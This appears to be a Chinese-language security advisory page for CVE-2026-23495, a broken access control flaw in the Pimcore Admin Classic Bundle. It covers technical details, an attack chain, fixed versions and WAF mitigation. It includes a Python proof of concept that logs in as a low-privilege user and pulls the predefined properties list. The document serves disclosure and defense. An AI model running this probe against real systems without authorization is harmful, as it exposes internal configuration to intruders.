IPBUF安全漏洞报告
English
CVE-2026-23495 CVSS 4.3 中危

CVE-2026-23495 Pimcore Admin Classic Bundle 未授权访问预定义属性漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-23495
漏洞类型
访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pimcore Admin Classic Bundle

相关标签

访问控制权限绕过信息泄露PimcoreAdmin Classic BundleAPI安全CVE-2026-23495

漏洞概述

CVE-2026-23495是Pimcore Admin Classic Bundle中的一个访问控制漏洞,CVSS评分4.3,严重程度为中危。该漏洞存在于预定义属性(Predefined Properties)列表API端点中,由于缺少足够的服务器端授权检查,导致经过身份验证的低权限用户可以在没有明确属性管理权限的情况下,访问并获取平台中所有预定义属性的完整配置信息。预定义属性是Pimcore平台中用于文档、资产和对象的标准元数据定义,包括名称、键、类型、默认值等配置。攻击者利用此漏洞可获取敏感的内部配置信息,可能为后续攻击提供有价值的情报。该漏洞已于2.2.3和1.7.16版本中修复。

技术细节

该漏洞属于Broken Access Control(访问控制失效)类型。在Pimcore Admin Classic Bundle中,预定义属性API端点缺少正确的权限验证逻辑。攻击者只需拥有一个有效的后端用户账户(即使该账户没有被分配属性管理权限),即可通过调用相关API端点获取所有预定义属性的配置列表。漏洞产生的根本原因是服务端未对用户请求进行充分的权限校验,未验证当前用户是否具有查看预定义属性的授权。攻击者可以通过标准的HTTP请求访问该端点,无需特殊工具或技术,即可获取包含属性名称、键值、类型和默认值等敏感配置信息。这些信息可能包含内部系统结构、业务流程配置等敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统中一个有效的后端用户账户(低权限用户)
STEP 2
步骤2
攻击者使用该账户登录Pimcore Admin Classic Bundle管理后台
STEP 3
步骤3
攻击者直接访问预定义属性列表API端点,无需额外的属性管理权限
STEP 4
步骤4
服务端返回完整的预定义属性配置列表,包括名称、键、类型、默认值等敏感信息
STEP 5
步骤5
攻击者利用获取的配置信息进行进一步的攻击,如了解系统结构或寻找其他漏洞

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23495 PoC - Pimcore Admin Classic Bundle Unauthorized Property Access # Target: Pimcore Admin Classic Bundle < 2.2.3 or < 1.7.16 target_url = "http://target-host.com" login_url = f"{target_url}/admin/login" properties_url = f"{target_url}/admin/predefined-properties/list" # Step 1: Authenticate with valid low-privilege user credentials session = requests.Session() login_data = { "username": "low_privilege_user", "password": "user_password" } # Step 2: Send authentication request auth_response = session.post(login_url, data=login_data) if auth_response.status_code != 200: print("[-] Authentication failed") exit(1) # Step 3: Access the vulnerable predefined properties endpoint # This endpoint lacks proper authorization checks headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } properties_response = session.get(properties_url, headers=headers) if properties_response.status_code == 200: print("[+] Successfully retrieved predefined properties list") print("[-] This indicates the vulnerability is present") print(properties_response.text) else: print(f"[-] Request failed with status code: {properties_response.status_code}")

影响范围

Pimcore Admin Classic Bundle < 1.7.16
Pimcore Admin Classic Bundle < 2.2.3

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/admin/predefined-properties/*路径的访问,仅允许具有明确权限的管理员访问。同时审查现有用户账户权限,确保低权限用户被限制访问敏感配置端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表